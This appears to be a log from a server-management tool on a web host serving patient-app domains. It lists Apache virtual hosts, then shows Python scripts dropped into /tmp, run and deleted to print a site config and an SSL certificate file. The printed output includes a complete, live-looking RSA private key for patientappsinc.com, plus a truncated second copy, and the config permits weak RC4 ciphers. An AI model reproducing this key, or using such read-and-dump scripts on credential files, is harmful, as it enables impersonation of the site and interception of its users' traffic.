                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias shop.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 10:37:37: 

PUT: /tmp/pkp168019

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/patientappsinc_store_com.conf')
    show_file('/etc/apache2/sites-available/patientappsinc_store_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 10:37:37: 

chmod 755 /tmp/pkp168019; /tmp/pkp168019; rm /tmp/pkp168019

2026-05-24 10:37:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/patientappsinc_store_com.conf	1732

<VirtualHost *:80>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/patientappsinc_store_com.conf	1732

<VirtualHost *:80>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>







2026-05-24 10:37:38: 

PUT: /tmp/pkp404641

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 10:37:38: 

chmod 755 /tmp/pkp404641; /tmp/pkp404641; rm /tmp/pkp404641

2026-05-24 10:37:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt	5437
45:8f:60:39:60:bd:88:d0:78:aa:23:19:83:41:90:23

-----BEGIN CERTIFICATE-----
MIIFPDCCBCSgAwIBAgISBYFNed52tTaevm2LwNfF/TLyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDUwMjExWhcNMjYwODIyMDUwMjEwWjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC+reO0D7TNtS2vFsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhp
ZL45Op4Ck/fz7GyaxxvKShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piN
NGGjQt8nmm349Lim6lyMPHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+il
eSZTiMGSiHpb0PLxEBQVvy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5
//te+NEO7WPgLCOgCZf2wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2a
M4m6/wxW26qH+fXTz7Lsy9x4udYHAgMBAAGjggJeMIICWjAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
jBYyYIzOMIf976lQjRHWp78qEAAwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzBbBgNVHREEVDBSgg9wYXRpZW50YXBwcy5jb22CEnBhdGllbnRh
cHBzaW5jLmNvbYITd3d3LnBhdGllbnRhcHBzLmNvbYIWd3d3LnBhdGllbnRhcHBz
aW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzExNS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAfgBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ5YkkYC
AAgAAAUAB3qllgQDAEcwRQIhAMicLS+OKAhViwQjD2OQ+1TaFYqFdrnBgs/q54wk
ffJrAiAAkx/XinNg5PNAilF0IxmHE5vJX+6TjuB8PLaL/6qHZwB1AK9niDtXsE7d
j6bZfvYuqOuBCsdxYPAkXlXWDC/nhYc6AAABnliSRlUAAAQDAEYwRAIgfUzQ5gCf
8gR3Ur4wqaP/rOTnjfod7JdyRcxosJTYxZgCIEtSyBNR2hHy9+/FLA0Hs32DDp/w
UjJJwJMoVJuKFO3sMA0GCSqGSIb3DQEBCwUAA4IBAQCeIJutF1EUKpVI1/zXvzIt
1LPjHUCQFUJZcTqWsLzN9fLtz5o+jpAlPKZAbMumnRFlOlMPCcze7JmoEWgr9UkJ
q7NbqJWIOusc1TmlwXiW4fzzNRjwzwGA7NSioVa1ojSom4ZfSH3B3bLGYam2CFlV
k/p7hE95/veXjARpz7TGpIF0F5EXMMFZJMVOwcNYf/3zA19Ux6JNtYNaYfV48SDz
CbOvpW9StFRgLGd5JNYKCLrfg0zIa4FrJM6VLDhBIgUG1YnBDY8Kh0LFBlX2+cG+
4Ejy8Wc769NqcUWRmN3DkSDcWyx52fDXZWphKliBKMdQXNlh7OHglUWYo+oDfNTg
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC+reO0D7TNtS2v
FsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhpZL45Op4Ck/fz7GyaxxvK
ShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piNNGGjQt8nmm349Lim6lyM
PHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+ileSZTiMGSiHpb0PLxEBQV
vy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5//te+NEO7WPgLCOgCZf2
wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2aM4m6/wxW26qH+fXTz7Ls
y9x4udYHAgMBAAECggEAASwBtVQ9YgTYZq0CWfaJxO8ZQ2xFDdPbRF7dscoyvERz
pP5M6a2L3fokg8HhiSCmdPW9/nQl45Xr1LtgQN3T0YMgbW2Zs+jnbB8IeBrJBeFf
FX3FkPce4Dl7cK66hOSRQByPggofkmefDLS89cYmkO1mR50WZLKRWGBA0sIdfdLi
LZnGwwEH01JL1V3O+ZJr6CKgdpyDrqTP+NEjTtIrAcUMtlyxwHrUDbPExAOYG/Sj
vV2Qgf1QOFCng+zsh8Zv0z6bBx/2Kz515cqFzqqZavVwiX+bqHnI+BAcj0ONgLK3
Rg1Rv5zJRAXn5JQhyVmSyuTtlIpIuUD2HnCmYz0QWQKBgQD+HtXkuxnPwJ2mr0F7
Z7bakHO8SPip7sOfi449k6PrrPWzY4J1ssytV3XddirITUYF6ZCGLc7/82ztXyfz
9HTz8ygeX/ZZqcBLXRLMI4j7qt9w57Pyp2b2yVSxbJ01mej9FS+fEPHEj4HHAS6L
AXLtz1WNj+fzu3g5KfJNjmagaQKBgQDAFu5iL2n0CzXnj8EkqgNavLybgqyyr6HS
KMmsVLtGSumsv83JEb23OkQ8stRIRQl6iofbpA3x47XB5BBxBZIOEY38LC9WVqzQ
DK/5VRwKODXPa6w7UdoIBFZ13dbY87MUKo2IGGRYexxBIabszdapyTYAbw3kEBkL
GQaz5Rb07wKBgQCRuYETD7A3kM9XHL1CVTFomNmlqXrfiAoqXc8NxLKFncOwQWo4
sHXrGXJ/sxnJj3aOQWgdafuAj0lxvdWdchv3IQNql8Efndal4RO8eMw+9bf4eQaa
KiFDeCTXMd/dMwuGxjVu1Dqwa1MSmbzk/cm4UeNPsKxk+qZwsXs/ul9jsQKBgQCY
+mo09a+69KakWN8n9OIhBEhszN/+mlMUjPk37m8K5yQ8OLCJnkBpyNSJRp47RAft
eKAD8x5L8t5QoPHbIOWVoLNkDkhQyUxtkH0g44AmP2fTXdvXjjNGyTWWPusY8tQ+
jjkTFuHreXgiAsvusWtw4lbId6knZQ6cwPyOjjb/LwKBgC5E4+W6389KtgluZxe2
LCkIaITvyiHpC2xw21XE45BPUk64tpeANJl5jDpwm7yAx9bktOiip3I1Os6Hc5KE
jkaAu8dTkKTyaNyNtJpChaEjRotQdnMueUMV+/BdZrziiD0NnyGmCeSFDEJydzT8
HdxsGB6UeepFoFw6EdlpDpDP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-24 10:37:38: 

PUT: /tmp/pkp413440

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 10:37:38: 

chmod 755 /tmp/pkp413440; /tmp/pkp413440; rm /tmp/pkp413440

2026-05-24 10:37:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt	5437
45:8f:60:39:60:bd:88:d0:78:aa:23:19:83:41:90:23

-----BEGIN CERTIFICATE-----
MIIFPDCCBCSgAwIBAgISBYFNed52tTaevm2LwNfF/TLyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDUwMjExWhcNMjYwODIyMDUwMjEwWjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC+reO0D7TNtS2vFsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhp
ZL45Op4Ck/fz7GyaxxvKShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piN
NGGjQt8nmm349Lim6lyMPHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+il
eSZTiMGSiHpb0PLxEBQVvy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5
//te+NEO7WPgLCOgCZf2wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2a
M4m6/wxW26qH+fXTz7Lsy9x4udYHAgMBAAGjggJeMIICWjAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
jBYyYIzOMIf976lQjRHWp78qEAAwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzBbBgNVHREEVDBSgg9wYXRpZW50YXBwcy5jb22CEnBhdGllbnRh
cHBzaW5jLmNvbYITd3d3LnBhdGllbnRhcHBzLmNvbYIWd3d3LnBhdGllbnRhcHBz
aW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzExNS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAfgBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ5YkkYC
AAgAAAUAB3qllgQDAEcwRQIhAMicLS+OKAhViwQjD2OQ+1TaFYqFdrnBgs/q54wk
ffJrAiAAkx/XinNg5PNAilF0IxmHE5vJX+6TjuB8PLaL/6qHZwB1AK9niDtXsE7d
j6bZfvYuqOuBCsdxYPAkXlXWDC/nhYc6AAABnliSRlUAAAQDAEYwRAIgfUzQ5gCf
8gR3Ur4wqaP/rOTnjfod7JdyRcxosJTYxZgCIEtSyBNR2hHy9+/FLA0Hs32DDp/w
UjJJwJMoVJuKFO3sMA0GCSqGSIb3DQEBCwUAA4IBAQCeIJutF1EUKpVI1/zXvzIt
1LPjHUCQFUJZcTqWsLzN9fLtz5o+jpAlPKZAbMumnRFlOlMPCcze7JmoEWgr9UkJ
q7NbqJWIOusc1TmlwXiW4fzzNRjwzwGA7NSioVa1ojSom4ZfSH3B3bLGYam2CFlV
k/p7hE95/veXjARpz7TGpIF0F5EXMMFZJMVOwcNYf/3zA19Ux6JNtYNaYfV48SDz
CbOvpW9StFRgLGd5JNYKCLrfg0zIa4FrJM6VLDhBIgUG1YnBDY8Kh0LFBlX2+cG+
4Ejy8Wc769NqcUWRmN3DkSDcWyx52fDXZWphKliBKMdQXNlh7OHglUWYo+oDfNTg
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC+reO0D7TNtS2v
